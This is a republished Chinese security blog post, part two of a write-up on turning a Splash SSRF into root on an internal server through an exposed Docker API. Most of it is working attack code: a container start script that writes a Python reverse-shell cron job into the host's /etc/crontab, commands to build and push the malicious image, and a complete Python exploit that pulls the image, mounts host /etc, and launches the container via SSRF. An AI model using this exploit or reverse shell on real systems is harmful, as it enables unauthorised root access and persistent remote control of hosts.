JSON

【技术分享】Splash SSRF到获取内网服务器ROOT权限(2)

字号+ 作者:H5之家 来源:H5之家 2017-08-15 16:03 我要评论( )

start.sh:container启动时运行的脚本,负责写入宿主机 /etc/crontab ,第一个参数作为反弹host,第二个参数为端口 #!/bin/shecho*****rootpython-cimportsocket,subprocess,os;s=socket.socket(socket.AF_INET,soc

start.sh:container启动时运行的脚本,负责写入宿主机 /etc/crontab ,第一个参数作为反弹host,第二个参数为端口

#!/bin/sh echo "* * * * * root python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$1\", $2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" >> /hostdir/crontab

构建并push

docker build -t b1ngz/busybox:latest . docker push b1ngz/busybox:latest

虽然 splash 支持 post 请求,但是比较坑的是,文档里没有给向目标地址发 POST 请求的例子,只有参数说明,看了遍文档,关键参数有这几个

url : 请求url

http_method:请求url的方法

headers: 请求 headers

body: 请求url的body,默认为 application/x-www-form-urlencoded

测试的时候,一开始一直使用 get 方法来请求 render.html 接口,但总是返回400 ,卡了很久

{     error: 400,     description: "Incorrect HTTP API arguments",     type: "BadOption",     info: {         argument: "headers",         description: "'headers' must be either a JSON array of (name, value) pairs or a JSON object",         type: "bad_argument"     } }

搜了一下,在 github issue 里找到了原因,得用post请求,并且 headers 得在 body里,且类型为 json,略坑,这里给出利用脚本,代码有注释,大家可以自己看看

# -*- coding: utf-8 -*- __author__ = 'b1ngz' import json import re import requests def pull_image(api, docker_api, image_name, image_tag):     print("pull image: %s:%s" % (image_name, image_tag))     url = "%s/render.html" % api     print("url: %s" % url)     docker_url = '%s/images/create?fromImage=%s&tag=%s' % (docker_api, image_name, image_tag)     print("docker_url: %s" % docker_url)     params = {         'url': docker_url,         'http_method': 'POST',         'body': '',         'timeout': 60     }     resp = requests.get(url, params=params)     print("request url: %s" % resp.request.url)     print("status code: %d" % resp.status_code)     print("resp text: %s" % resp.text)     print("-" * 50) def create_container(api, docker_api, image_name, image_tag, shell_host, shell_port):     image = "%s:%s" % (image_name, image_tag)     print("create_container: %s" % image)     body = {         "Image": image,         "Volumes": {             "/etc": {  # 挂载根目录有时候会出错,这里选择挂载/etc                 "bind": "/hostdir",                 "mode": "rw"             }         },         "HostConfig": {             "Binds": ["/etc:/hostdir"]         },         "Cmd": [  # 运行 start.sh,将反弹定时任务写入宿主机/etc/crontab             '/bin/sh',             '/start.sh',             shell_host,             str(shell_port),         ],     }     url = "%s/render.html" % api     docker_url = '%s/containers/create' % docker_api     params = {         'http_method': 'POST',         'url': docker_url,         'timeout': 60     }     resp = requests.post(url, params=params, json={         'headers': {'Content-Type': 'application/json'},         "body": json.dumps(body)     })     print(resp.request.url)     print(resp.status_code)     print(resp.text)     result = re.search('"Id":"(\w+)"', resp.text)     container_id = result.group(1)     print(container_id)     print("-" * 50)     return container_id def start_container(api, docker_api, container_id):     url = "%s/render.html" % api     docker_url = '%s/containers/%s/start' % (docker_api, container_id)     params = {         'http_method': 'POST',         'url': docker_url,         'timeout': 10     }     resp = requests.post(url, params=params, json={         'headers': {'Content-Type': 'application/json'},         "body": "",     })     print(resp.request.url)     print(resp.status_code)     print(resp.text)     print("-" * 50) def get_result(api, docker_api, container_id):     url = "%s/render.html" % api     docker_url = '%s/containers/%s/json' % (docker_api, container_id)     params = {         'url': docker_url     }     resp = requests.get(url, params=params, json={         'headers': {             'Accept': 'application/json'},     })     print(resp.request.url)     print(resp.status_code)     result = re.search('"ExitCode":(\w+),"', resp.text)     exit_code = result.group(1)     if exit_code == '0':         print('success')     else:         print('error')     print("-" * 50) if __name__ == '__main__':     # splash地址和端口     splash_host = '192.168.1.120'     splash_port = 8050     # 内网docker的地址和端口     docker_host = '172.16.10.74'     docker_port = 2375     # 反弹shell的地址和端口     shell_host = '192.168.1.213'     shell_port = 12345     splash_api = "%s:%d" % (splash_host, splash_port)     docker_api = '%s:%d' % (docker_host, docker_port)     # docker image,存在docker hub上     image_name = 'b1ngz/busybox'     image_tag = 'latest'     # 拉取 image     pull_image(splash_api, docker_api, image_name, image_tag)     # 创建 container     container_id = create_container(splash_api, docker_api, image_name, image_tag, shell_host, shell_port)     # 启动 container     start_container(splash_api, docker_api, container_id)     # 获取写入crontab结果     get_result(splash_api, docker_api, container_id)

其他利用思路

其他思路的话,首先想到 ssrf 配合 gopher 协议,然后结合内网 redis,因为splash是基于qt的, 查了一下文档 ,qtwebkit 默认不支持 gopher 协议,所以无法使用 gopher 。

后来经过测试,发现请求 headers 可控 ,并且支持 \n 换行

 

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

相关文章
网友点评
e